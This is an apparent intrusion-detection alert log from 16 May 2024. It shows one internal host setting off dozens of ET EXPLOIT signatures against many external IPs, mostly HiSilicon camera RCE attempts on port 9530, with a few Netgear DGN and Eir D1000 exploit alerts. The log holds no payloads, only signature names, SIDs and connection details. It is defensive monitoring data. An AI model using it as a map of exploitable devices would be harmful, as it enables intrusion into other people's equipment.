ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.142.200.239

Timestamp:	05/16/24-16:38:53.084746
SID:	2030487
Source Port:	60776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.174.45.79

Timestamp:	05/16/24-16:39:14.494512
SID:	2030488
Source Port:	44314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.255.255.136

Timestamp:	05/16/24-16:39:03.260965
SID:	2030487
Source Port:	45628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 193.213.19.125

Timestamp:	05/16/24-16:39:05.506497
SID:	2034576
Source Port:	58226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.100.141.50

Timestamp:	05/16/24-16:39:12.295313
SID:	2030488
Source Port:	49856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.255.255.136

Timestamp:	05/16/24-16:39:03.260965
SID:	2030488
Source Port:	45628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.100.141.50

Timestamp:	05/16/24-16:39:12.295313
SID:	2030487
Source Port:	49856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.174.45.79

Timestamp:	05/16/24-16:39:14.494512
SID:	2030487
Source Port:	44314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.210.161.21

Timestamp:	05/16/24-16:39:12.377522
SID:	2030488
Source Port:	38386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.210.161.21

Timestamp:	05/16/24-16:39:12.377522
SID:	2030487
Source Port:	38386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.190.86.213

Timestamp:	05/16/24-16:39:02.767704
SID:	2030488
Source Port:	36460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.190.86.213

Timestamp:	05/16/24-16:39:02.767704
SID:	2030487
Source Port:	36460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.132.183.115

Timestamp:	05/16/24-16:39:05.675993
SID:	2030487
Source Port:	34468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.132.183.115

Timestamp:	05/16/24-16:39:05.675993
SID:	2030488
Source Port:	34468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.103.231.238

Timestamp:	05/16/24-16:39:14.494555
SID:	2030488
Source Port:	48570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.110.166.42

Timestamp:	05/16/24-16:38:59.592896
SID:	2030487
Source Port:	55278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.110.166.42

Timestamp:	05/16/24-16:38:59.592896
SID:	2030488
Source Port:	55278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.60.243.108

Timestamp:	05/16/24-16:39:12.401777
SID:	2030488
Source Port:	50532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.60.243.108

Timestamp:	05/16/24-16:39:12.401777
SID:	2030487
Source Port:	50532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.229.178.206

Timestamp:	05/16/24-16:39:08.146405
SID:	2030487
Source Port:	57230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.229.178.206

Timestamp:	05/16/24-16:39:08.146405
SID:	2030488
Source Port:	57230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.103.231.238

Timestamp:	05/16/24-16:39:14.494555
SID:	2030487
Source Port:	48570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 27.250.63.203

Timestamp:	05/16/24-16:39:05.513163
SID:	2029215
Source Port:	59346
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.121.60.190

Timestamp:	05/16/24-16:38:57.409026
SID:	2030487
Source Port:	36186
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.121.60.190

Timestamp:	05/16/24-16:38:57.409026
SID:	2030488
Source Port:	36186
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.33.44.230

Timestamp:	05/16/24-16:38:59.558435
SID:	2030487
Source Port:	33302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.33.44.230

Timestamp:	05/16/24-16:38:59.558435
SID:	2030488
Source Port:	33302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.70.176.77

Timestamp:	05/16/24-16:39:12.380591
SID:	2030487
Source Port:	34410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.70.176.77

Timestamp:	05/16/24-16:39:12.380591
SID:	2030488
Source Port:	34410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.111.177.174

Timestamp:	05/16/24-16:39:05.677740
SID:	2030487
Source Port:	49278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.11.233.201

Timestamp:	05/16/24-16:38:59.519416
SID:	2030488
Source Port:	51456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.111.177.174

Timestamp:	05/16/24-16:39:05.677740
SID:	2030488
Source Port:	49278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.11.233.201

Timestamp:	05/16/24-16:38:59.519416
SID:	2030487
Source Port:	51456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.239.60.131

Timestamp:	05/16/24-16:39:16.578974
SID:	2030487
Source Port:	56244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.239.60.131

Timestamp:	05/16/24-16:39:16.578974
SID:	2030488
Source Port:	56244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.171.251.81

Timestamp:	05/16/24-16:38:59.588220
SID:	2030488
Source Port:	43540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.91.131.177

Timestamp:	05/16/24-16:39:14.494605
SID:	2030488
Source Port:	34008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.183.52.170

Timestamp:	05/16/24-16:39:16.582504
SID:	2030487
Source Port:	59954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.171.251.81

Timestamp:	05/16/24-16:38:59.588220
SID:	2030487
Source Port:	43540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.104.223.236

Timestamp:	05/16/24-16:39:16.614089
SID:	2030487
Source Port:	36872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.91.131.177

Timestamp:	05/16/24-16:39:14.494605
SID:	2030487
Source Port:	34008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.104.223.236

Timestamp:	05/16/24-16:39:16.614089
SID:	2030488
Source Port:	36872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.189.236.19

Timestamp:	05/16/24-16:39:12.301238
SID:	2030488
Source Port:	34200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.189.236.19

Timestamp:	05/16/24-16:39:12.301238
SID:	2030487
Source Port:	34200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.183.52.170

Timestamp:	05/16/24-16:39:16.582504
SID:	2030488
Source Port:	59954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.116.240.150

Timestamp:	05/16/24-16:39:12.295339
SID:	2030488
Source Port:	58054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.116.240.150

Timestamp:	05/16/24-16:39:12.295339
SID:	2030487
Source Port:	58054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.216.24.199

Timestamp:	05/16/24-16:38:50.046279
SID:	2030487
Source Port:	33534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.216.24.199

Timestamp:	05/16/24-16:38:50.046279
SID:	2030488
Source Port:	33534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.193.220.109

Timestamp:	05/16/24-16:38:57.406693
SID:	2030488
Source Port:	58872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.143.33.112

Timestamp:	05/16/24-16:39:02.727004
SID:	2030487
Source Port:	58950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.143.33.112

Timestamp:	05/16/24-16:39:02.727004
SID:	2030488
Source Port:	58950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.193.220.109

Timestamp:	05/16/24-16:38:57.406693
SID:	2030487
Source Port:	58872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.241.11.39

Timestamp:	05/16/24-16:38:57.406678
SID:	2030487
Source Port:	45818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.65.141.138

Timestamp:	05/16/24-16:38:55.210425
SID:	2030487
Source Port:	50240
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.65.141.138

Timestamp:	05/16/24-16:38:55.210425
SID:	2030488
Source Port:	50240
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.241.11.39

Timestamp:	05/16/24-16:38:57.406678
SID:	2030488
Source Port:	45818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.180.98.108

Timestamp:	05/16/24-16:38:57.411355
SID:	2030488
Source Port:	48190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.180.98.108

Timestamp:	05/16/24-16:38:57.411355
SID:	2030487
Source Port:	48190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 206.205.86.165

Timestamp:	05/16/24-16:39:13.663454
SID:	2034576
Source Port:	36772
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.154.66.28

Timestamp:	05/16/24-16:38:50.063103
SID:	2030488
Source Port:	36460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.154.66.28

Timestamp:	05/16/24-16:38:50.063103
SID:	2030487
Source Port:	36460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.39.16.194

Timestamp:	05/16/24-16:38:55.192606
SID:	2030488
Source Port:	35054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.202.12.132

Timestamp:	05/16/24-16:39:12.382860
SID:	2030488
Source Port:	59234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.202.12.132

Timestamp:	05/16/24-16:39:12.382860
SID:	2030487
Source Port:	59234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.116.249.108

Timestamp:	05/16/24-16:39:14.514881
SID:	2030488
Source Port:	44786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.116.249.108

Timestamp:	05/16/24-16:39:14.514881
SID:	2030487
Source Port:	44786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.152.143.83

Timestamp:	05/16/24-16:39:14.518784
SID:	2030488
Source Port:	43664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.152.143.83

Timestamp:	05/16/24-16:39:14.518784
SID:	2030487
Source Port:	43664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.50.192.120

Timestamp:	05/16/24-16:38:53.011335
SID:	2030487
Source Port:	33226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.50.192.120

Timestamp:	05/16/24-16:38:53.011335
SID:	2030488
Source Port:	33226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.5.142.182

Timestamp:	05/16/24-16:38:57.441181
SID:	2030487
Source Port:	57850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.5.142.182

Timestamp:	05/16/24-16:38:57.441181
SID:	2030488
Source Port:	57850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.202.147.8

Timestamp:	05/16/24-16:39:02.745279
SID:	2030487
Source Port:	57928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.202.147.8

Timestamp:	05/16/24-16:39:02.745279
SID:	2030488
Source Port:	57928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.199.220.24

Timestamp:	05/16/24-16:39:05.693256
SID:	2030487
Source Port:	47486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.172.50.10

Timestamp:	05/16/24-16:39:05.717181
SID:	2030487
Source Port:	36666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.172.50.10

Timestamp:	05/16/24-16:39:05.717181
SID:	2030488
Source Port:	36666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.171.156.238

Timestamp:	05/16/24-16:38:55.176089
SID:	2030488
Source Port:	60912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.81.199.199

Timestamp:	05/16/24-16:39:12.298330
SID:	2030488
Source Port:	44510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 174.168.65.218

Timestamp:	05/16/24-16:39:14.353056
SID:	2023548
Source Port:	45482
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.81.199.199

Timestamp:	05/16/24-16:39:12.298330
SID:	2030487
Source Port:	44510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.87.235.186

Timestamp:	05/16/24-16:39:05.675949
SID:	2030487
Source Port:	46996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.87.235.186

Timestamp:	05/16/24-16:39:05.675949
SID:	2030488
Source Port:	46996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.31.83.80

Timestamp:	05/16/24-16:38:50.068427
SID:	2030488
Source Port:	40676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.31.83.80

Timestamp:	05/16/24-16:38:50.068427
SID:	2030487
Source Port:	40676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.171.156.238

Timestamp:	05/16/24-16:38:55.176089
SID:	2030487
Source Port:	60912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.121.49.66

Timestamp:	05/16/24-16:39:08.124540
SID:	2030487
Source Port:	40724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.123.52.170

Timestamp:	05/16/24-16:39:12.377521
SID:	2030488
Source Port:	33792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 206.92.128.139

Timestamp:	05/16/24-16:39:13.658796
SID:	2029215
Source Port:	38618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.179.43.110

Timestamp:	05/16/24-16:38:57.442640
SID:	2030487
Source Port:	47396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.121.49.66

Timestamp:	05/16/24-16:39:08.124540
SID:	2030488
Source Port:	40724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.179.43.110

Timestamp:	05/16/24-16:38:57.442640
SID:	2030488
Source Port:	47396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.123.52.170

Timestamp:	05/16/24-16:39:12.377521
SID:	2030487
Source Port:	33792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.40.196.224

Timestamp:	05/16/24-16:38:57.303907
SID:	2030488
Source Port:	43428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.40.196.224

Timestamp:	05/16/24-16:38:57.303907
SID:	2030487
Source Port:	43428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.165.104.174

Timestamp:	05/16/24-16:38:55.212347
SID:	2030488
Source Port:	58688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.165.104.174

Timestamp:	05/16/24-16:38:55.212347
SID:	2030487
Source Port:	58688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.195.116.240

Timestamp:	05/16/24-16:39:03.280094
SID:	2030488
Source Port:	38632
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

